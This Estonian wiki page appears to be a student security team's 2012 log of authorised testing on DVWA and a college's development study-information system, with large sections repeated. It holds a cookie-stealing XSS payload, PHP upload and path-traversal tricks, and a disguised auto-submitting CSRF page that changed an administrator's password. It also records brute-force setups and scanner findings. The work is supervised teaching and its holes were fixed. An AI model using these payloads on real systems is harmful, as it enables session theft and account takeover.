Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin".
Salvestasime faili ja käivitasime selle.
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna ".

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

=== Taavi tegevus ===

Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.

=== Matise tegevus ===
==== Reflected Cross Site Scripting (XSS) ====
<ul>
<li>Lehel on selline Form:</li>
[[Image:Xsstesting.jpg|Location="left"|Caption|]]
<br>Form väljastab : Hello „sisestatud nimi“
<li>Easy puhul:</li>
<li>Saab sisestada textboxi skripti:</li>
<script>
alert(document.cookie.match(/PHPSESSID=[^;\]+/));
</script>
<li>Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.</li>
<li>Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: </li>
<script>
this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);
</script>
<li>Saab kohe enda veebiserveri logidest näha Session ID’d.
<br>Näide logist:</li>
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" <br> "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
<li>Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.</li>
</ul>

=== Sanderi tegevus ===
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]

SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).
==== Faili üleslaadimine: madal tase ====
<ul>
<li><b>DVWA Security</b> määrata: Low -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess</li>
Üleslaetavasse *.php faili saab kirjutada php koodi:
<?php var_dump($_REQUEST, $_SERVER); ?>
<li>Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:</li>
esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low");
teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME",
"SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
</ul>

==== Faili üleslaadimine: keskmine tase ====
<ul>
<li><b>DVWA Security</b> määrata: Medium -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida ei saa näiteks järgnevates formaatides faile:</li>
.htaccess
.php .html .pdf
.gif .png .bmp
.svg .swf
.tif .tiff .exif
.raw .cgm
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
<li>Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:</li>
http://dvwa/hackable/uploads/*.jpg
<li>Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht:</li>
http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg
Kuvatakse php skripti tulemus.
Kommentaar: "?page=" kasutamine võetud menüüvalikust: <b>File Inclusion</b>
<li>"?page=" abil saab vaadata kasutajate nimesid:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
<li>Paroole vaadata ei saa, selleks õigused puuduvad:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
</ul>

==== Faili üleslaadimine: kõrge tase ====
<ul>
<li><b>DVWA Security</b> määrata: High -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.</li>
<li>Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:</li>
ERROR: File not found!
<li>Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:</li>
http://www.motobit.com/util/base64-decoder-encoder.asp
<li>Moodustades loodud faili asukohast kood ja kasutades</li>
data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:
http://dvwa/hackable/uploads/*.jpg
</ul>

== 3. päev ==

=== Alo tegevus ===
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.<br>
Faile saab alla laadida enda profiili all õppesooritustes.<br>
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.<br>
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.<br>
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.<br>
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.<br>
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.<br>

=== Urmo tegevus ===
====Subgraph Vega ====
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.
Programm on Java põhine graafilise liidesega ja töötab Linux'i, OS X ja Windowsi peal.

[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.

Alustasime uut skänni (Start New Scan).
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.

Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised.

Me lisasime ainult küpsise (cookie) sisu:
<pre>
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221
</pre>
ning Finish.

[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).

Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000.

Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script'ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body nõrkust.

Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID'sid ja parameetreid ära oma pealkirjades.
Õnneks parameetritega väljad olid veebilehel korralikult ära escape'itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.

ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.

==== Wapiti ====
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti.
(Koduleht: http://wapiti.sourceforge.net/)

Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS'iga midagi teha.

==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====
=====1. katse - ÕISi keskkkonna keelevahetus =====
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]

Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.

Võtsime dev-ÕIS'i Source Code'ist välja vastava formi osa ja panime eraldi html faili.
Koristasime mittevajaliku disaini koodi juurest ära.
Muutsime form'i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks "en" ehk inglise keelne keskkond tekiks.
Panime koodi enose veebiserverisse üles nimega ois.html.

Faili sisu:
<source lang="html4strict">
<form id="settingsForm" method="post" action="https://itcollege.dev.ois.ee/setting/edit?user_id=2198"
enctype="application/x-www-form-urlencoded">
<input type="hidden" AUTOCOMPLETE="off" name="default_language"value="en">
<br>
<input type="submit" value="Salvesta seaded" name="Savesettings">
</form>
</source>
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.

Katsetas koodi enda konto peal Taavi.

=====2. katse - ÕIS'i kasutaja parooli muutmine =====

[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.

Selle jaoks uurisime välja, kus asub dev-ÕIS'i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.

Muutsime password ja password_check lahtrite väärtused järgnevaks: "test123" ehk kasutaja uus parool peale rünnakut.

Lahtrites muutsime user_id'd sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.

Kõik vormi lahtrite tüübid määrasime peidetud ehk "hidden", et poleks midagi näidata.

Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist.
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.

Lisasime CSS koodi Submit nupu ära peitmiseks.
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.

Salvestasime faili ära kui "screen1.jpg" fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.

Faili sisu:
<source lang="html4strict">
<html>
<head>
<style type="text/css">
#Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }
</style>
</head>
<body>
<body onload="document.forms.setPasswordForm.submit();">
<form name="setPasswordForm" id="setPasswordForm"
action="https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&continue=/auth/logout"
method="post">
<input type="hidden" name="user_id" value="2227" id="user_id" />
<input type="hidden" name="continue" value="%2Fet%2Fsetting%3Fuser_id%3D2227" id="continue" />
<input type="hidden" name="password" id="password" value="test123" />
<input type="hidden" name="password_check" id="password_check" value="test123" />
<input type="submit" name="Setpassword" id="Setpassword" value="Muuda salasõna" />
</form>
</body>
</html>
</source>

[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]

Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.
<pre>
AddType application/x-httpd-php .php .jpg
</pre>

Laadisime mõlemad failid Enose veebiserverisse avalikult.

Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki.
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle.
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail.
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja.
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud "test123"-ks ja me saime ligipääsu administraatori õigustes kontole.
Rünnak oli edukas.
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]

Andsime teada Valterile teada, et tegelikult tegime salajase ründe.
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha.
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug'iga.

Kuna tegu oli ÕIS'i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.

=== Taavi tegevus ===
===Burp suite===

Esimese asjane peale Burp suite käivitamist. Tabilt proxy ->intercept ->intercept off<br>
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)<br>
Proxy -> options alt lülitada sisse proxy listner pordile 8080 .<br>
Ohvri valimine <br>
Valida intruder -> target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.<br>
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.<br>
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.<br>site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.<br>
Targer->scope -> exclude frome scope ja veenduda at välja on arvatud logout laused.<br>
Spideringi sisselülitamine <br>
Valida tab Spide ning sealt panna linnuke kasti spider running.<br>
Ning oledki valmis saama laheküljelt infot.<br>
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.<br>
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.

==Nessuse algkäivitamine==
Valida backtrackist vulnerability scannerite alt nessus ning edasi nessus register .<br> Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.<br> Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)<br>
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)<br>
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.<br>
Järgnevalt valida nessus start.<br>
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.<br>
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.

=== Matise tegevus ===
==Väike upload tegevus, mis võiks olla teisiti==
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.
Proovisime üles laadida:
<li>filme
<li>exe
<li>jpm faile
<br>kõik läks läbi ja sai uploadida.
<br>Sellises kohas võiks olla süsteem tehtud <b>whitelisti</b> põhimõttel,
<br>et lubatud oleks ainult:
<li>.doc
<li>.docx
<li>.pdf
<br>Näiteks sellised failid ja kõik ülejäänud oleksid keelatud.

=== Sanderi tegevus ===
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]
Backtarcki keskkonnas sai testitud programmi w3af.

==== Backtrack: w3af ====
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]
Võimalik kätte saada SSL Certificate.
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:
https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?
username=<font color="red">KASUTAJANIMI</font>&continue=&Login=Logi sisse&pw=<font color="red">PAROOL</font>
Programmi sisestatud andmetega ka mitte:
Configuration -> HTTP Config -> Basic HTTP Authentication:
basicAuthUser: <font color="red">KASUTAJANIMI</font>
basicAuthPass: <font color="red">PAROOL</font>
basicAuthDomain: http://itcollege.dev.ois.ee
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:
Configuration -> HTTP Config -> Cookies
cookieJarFile: /root/Desktop/<font color="red">ois_cookie.txt</font>
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:
# Netscape HTTP Cookie File
.dev.ois.ee TRUE / FALSE 1731510001 itcollege_OIS_SESSION_ID <font color="red">870aqllryuw3cmf6cv8ellha03</font>
Esimene rida on nõutav! Teiste tähendused:
domain - The domain that created and that can read the variable.
flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.
This value is set automatically by the browser, depending on the value you set for domain.
path - The path within the domain that the variable is valid for.
secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.
expiration - The UNIX time that the variable will expire on.
name - The name of the variable.
value - The value of the variable.
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:
Edit -> Preferences -> Privacy -> History -> remove individual cookies
Search: itcollege.dev.ois.ee
Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID

Skänneerimine:
<ul>
<li>The page language is: en</li>
<li>The URL: "https://itcollege.dev.ois.ee/" has a "<form>" element with auto-complete enabled.</li>
<li>A comment with the string "<p>tunne end kui koolis</p>" was found in: "https://itcollege.dev.ois.ee/".</li>
<li>Found a form login. The action of the form is: "https://itcollege.dev.ois.ee/auth/login".</li>
The username field to be used is: "username".
The password field to be used is: "pw".
<li><font color="red">Found authentication credentials to: "https://itcollege.dev.ois.ee/auth/login". A correct user and password combination is: Administrador/6666666</font></li>
Antud kasutaja ja parooliga sisse ei saanud.
<li>The URL: "https://itcollege.dev.ois.ee/" returned a response that may contain a "SHA1" hash. The hash is: "c7b39896de5f296b5a44c2dfcd9f0600b2cf424d". This is uncommon and requires human verification.</li>
Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.
<li>The URL: "https://itcollege.dev.ois.ee/" sent these cookies:</li>
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/
<li>The SMTP settings in emailReport plugin seem to be incorrect. Original error: "[Errno 111] Connection refused".</li>
Kui tuleb see veateade, siis skänn katkeb.
<li><font color="red">The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):</font></li>
The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
<li><font color="red">SQL injection in a Unknown database was found at: "https://itcollege.dev.ois.ee/auth/login", using HTTP method POST.</font></li>
The sent post-data was: "username=John8212&security_key_sis_global=d'z"0&Login=Logi%20sisse&continue=56&pw=FrAmE30.".
The modified parameter was "security_key_sis_global". This vulnerability was found in the request with id 390.
<li>Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt</li>
User-agent: *
Disallow: /
Allow: /curriculum
Allow: /subject
Allow: /diploma
Allow: /schedule/ical
</ul>

== 4. päev - Presentatsiooni tegemine ja esitlemine ==

Koostasime presentatsiooni ja esitlemine.

[[Media:Security_team_presentation.ppt]]

== Arvamused intensiivõppe nädala kohta ==

== Tegijad ==
Alo Konno A21

Urmo Lihten A21

Taavi Podžuks A22

Matis Alliksoo A22

Sander Saarm A22

== Juhendajad ==
Mart Mangus

Margus Ernits

Valter Kungla

Security team

2012-03-30T11:32:25Z

Mallikso: /* Väike upload tegevus, mis võiks olla teisiti */

== 1. päev - Materjalidega tutvumine ==

<h1>POOLELI!</h1>

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

A1: Injection - Urmo
A2: Cross-Site Scripting (XSS) - Alo
A3: Broken Authentication and Session Management - Sander
A4: Insecure Direct Object References - Alo
A5: Cross-Site Request Forgery (CSRF) - Taavi
A6: Security Misconfiguration - Matis
A7: Insecure Cryptographic Storage - Matis
A8: Failure to Restrict URL Access - Urmo
A9: Insufficient Transport Layer Protection - Taavi
A10: Unvalidated Redirects and Forwards - Sander

Sanderi konspekt: [[Media:Ois_materjal.pdf]] <br>
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] <br>
Taavi esitlus [[Meida: A9.pdf]] <br>
Taavi esitlus [[Meida: A5.pdf]] <br>
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] <br>

== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==
===Security Team tegevusplaan===
1. Päev
1.1 Tutvuda OWASP’iga.
1.2 Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.
1.3 Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.
2. Päev
2.1 Esitada tiimi tegevusplaan.
2.2 Tutvuda turvariskidega natuke põhjalikumalt.
2.3 Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.
2.4 Täiendada esimese päeva ettekannet.
3. Päev
3.1 Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.
3.2 Saadud tulemuste dokumenteerimine.
4. Päev
4.1 Saadud tulemuste esitlemine ettekandega
5. Päev
5.1 Tulemuste parandamine wiki’s.

=== Alo tegevus ===

http://www.acunetix.com/support/vulnerability-checks.htm
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting
http://www.youtube.com/watch?v=SG1cvGQ971g
http://www.isecom.org/research.html
http://evuln.com/tools/
http://sectools.org/tag/web-scanners/
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/
http://www.acunetix.com/vulnerability-scanner/getting-started.htm

Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:
Acunetix Web Vulnerability Scanner v. 8
http://www.acunetix.com/vulnerability-scanner/

Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.
Antud programm võimaldab skännida:
Cross-Site Scripting (XSS)
SQL Injection (blind test)
File inclusion
Code Execution
LDAP Injection
Cross Frame Scripting
SQL Injection (error msg. test)
CRLF Injection
Directory Travelsal
XPath Injection
URL Redirection
Application Error Message

Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.

=== Urmo tegevus ===

Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.

Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application'i.

==== Brute Force (DVWA) ====
Käsitsi välja uuritud login andmed:
kasutajanimi: admin
parool: password

===== Fireforce plugin Firefoxis =====
Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce.
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .

Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud.
Selleks sai sõna "incorrect".
Määrata ära tuli ka, et mitu päringut sekundis tehakse.
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada.
Päringute tegemise kiirus vähem kui 1 päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.
Kasutasime ka videos näidatud "@ DICTIONARY" teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

===== Burpsuite v1.4 =====
Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI'st]]

Programm on juba loomult keerulisem.
Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine.
Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta.
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.
Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.
Ründe stiiliks määrata Pitchfork.
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet.
Kahjuks ka see rünne ei toiminud teadmata põhjusel.
Proovitud sai ka lühemate nimekirjadega ja edutult.

Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt.
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

==== CSRF - Cross-site request forgery ====
Katsetamine toimub koos Taaviga.

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.

Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.
Võtsime lehe Source Code lahti
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.
Current Password lahtri jätsime samaks.
Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin".
Salvestasime faili ja käivitasime selle.
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna ".

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

=== Taavi tegevus ===

Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.

=== Matise tegevus ===
==== Reflected Cross Site Scripting (XSS) ====
<ul>
<li>Lehel on selline Form:</li>
[[Image:Xsstesting.jpg|Location="left"|Caption|]]
<br>Form väljastab : Hello „sisestatud nimi“
<li>Easy puhul:</li>
<li>Saab sisestada textboxi skripti:</li>
<script>
alert(document.cookie.match(/PHPSESSID=[^;\]+/));
</script>
<li>Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.</li>
<li>Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: </li>
<script>
this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);
</script>
<li>Saab kohe enda veebiserveri logidest näha Session ID’d.
<br>Näide logist:</li>
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" <br> "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
